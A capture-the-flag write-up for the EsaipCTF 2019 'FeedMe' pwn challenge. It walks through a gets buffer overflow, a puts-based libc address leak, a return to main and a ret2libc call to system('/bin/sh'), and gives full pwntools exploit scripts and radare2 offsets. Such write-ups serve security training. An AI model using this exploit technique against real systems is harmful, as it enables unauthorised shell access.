ESAIP 2019 - FeedMe
Challenge details
Event | Challenge | Category | Points | Solves |
---|---|---|---|---|
EsaipCTF 2019 | FeedMe - Inde | Pwn | 260 | ? |
Challenge : feedme md5sum : 1055dc81795128d394d9f9781b2792b1 libc : libc.so.6 md5sum : 3c132d0d104e7df13fad7d8f39906957
TL;DR
In this challenge the goal was to perform a Ret2Libc, to do that you had to calculate the Libc base address and rexecute the main with a Ret2Main, the binary given was in x64 arch.
First : Recon
The code was containing 2 functions, IDA gave me the following code :
main
baby
There is a vulnerable gets
in the baby function so we can perform a ROP by overflowing the size of the buffer. Since there is a puts
we can easily leak an address from the Libc.
Leak
To perform the leak, I need to call puts and give him as an arguments the GOT address of a Libc function, here we have 2 functions puts
and gets
.
In x64 we need to give the arguments by setting registers (in order arg1 is rdi
, arg2 is rsi
, arg3 is rdx
). To give gets
pointer to puts
I first need to find a pop rdi; ret
gadget.
Let’s fire up ROPGadget:
ROPGadget --binary feedme | grep "pop rdi"
0x000000000040124b : pop rdi ; ret
Now I need to calculate the padding to fill before setting my ROP, you can see here that the char v1
is 0x80 long.
No I have all I need for my getts
so let’s build the following payload :
I have now the following script that return puts
address in Libc :
from pwn import *
padding = 128
#p = remote("172.16.128.39",31333)
elf = ELF("feedme")
p = process("feedme")
print(p.pid)
p.recv()
#raw_input()
# Stage 1 leak
# 0x000000000040124b -- pop rdi
ROP = padding * "A"
ROP += "A"*8
ROP += p64(0x40124b) # pop rdi
ROP += p64(elf.got.gets) # got getss address
ROP += p64(elf.plt.puts) # puts
p.sendline(ROP)
print(p.recvline())
gets_addr = u64(p.recvuntil("Feed").split("\n")[1].ljust(8,"\x00"))
print("[+] gets @ "+hex(gets_addr))
Ret2Libc
Now that we have a leak, the programm crash after that, we need a way to perform the same operation again to write our ROP.
To do that I just added a Ret2Main to the payload before :
# 0x000000000040124b -- pop rdi
ROP = padding * "A"
ROP += "A"*8
ROP += p64(0x40124b) # pop rdi
ROP += p64(elf.got.gets) # got getss address
ROP += p64(elf.plt.puts) # puts
ROP += p64(0x4011c7) # main
Now we need to calculate system
address and bin_sh
address in Libc. The challenge creator gave us the libc so we just need to find the offset of gets
,system
and bin_sh
, lets fire up radare2
.
r2 libc_3c132d0d104e7df13fad7d8f39906957.so.6
[0x00021fd0]> aa
[0x00021fd0]> afl~system
0x00041af0 68 45 -> 1189 sym.__libc_system
[0x00021fd0]> afl~gets
0x0006d960 28 373 -> 359 sym.gets
[0x00021fd0]> izzq~/bin/sh
0x17699e 8 7 /bin/sh
So we have :
system at libc_base + 0x00041af0
gets at libc_base + 0x0006d960
str_bin_sh at libc_base + 0x17699e
To calculate the libc_base we only need to substract the gets
offset to the gets
address we previously leaked.
It gives us the following code :
offset_gets = 0x6d960
system_offset = 0x41af0
sh = 0x17699e
libc_base = gets_addr - offset_gets
system_addr = libc_base + system_offset
sh_addr = libc_base + sh
print("[+] system @"+hex(system_addr))
print("[+] sh @"+hex(sh_addr))
No we need to perform the Ret2Libc, use the same vulnerability we used to leak gets
address but this time we call system.
We end up with the following script :
from pwn import *
padding = 128
#elf = ELF("chall")
#p = remote("172.16.128.39",31333)
p = process("chall")
print(p.pid)
p.recv()
raw_input()
# Stage 1 leak
# 0x000000000040124b -- pop rdi
ROP = padding * "A"
ROP += "A"*8
ROP += p64(0x000000000040124b) # pop rdi
ROP += p64(elf.got.gets) # got puts address
ROP += p64(elf.plt.puts) # puts
ROP += p64(0x4011c7) # main
p.sendline(ROP)
print(p.recvline())
gets_addr = u64(p.recvuntil("Feed").split("\n")[1].ljust(8,"\x00"))
print("[+] gets @ "+hex(gets_addr))
offset_gets = 0x6d960
system_offset = 0x41af0
sh = 0x17699e
libc_base = gets_addr - offset_gets
system_addr = libc_base + system_offset
sh_addr = libc_base + sh
print("[+] system @"+hex(system_addr))
print("[+] sh @"+hex(sh_addr))
print(p.recv())
ROP = padding * "A"
ROP += "A"*8
ROP += p64(0x000000000040124b) # pop rdi
ROP += p64(sh_addr) # got puts address
ROP += p64(system_addr) # puts
p.sendline(ROP)
p.interactive()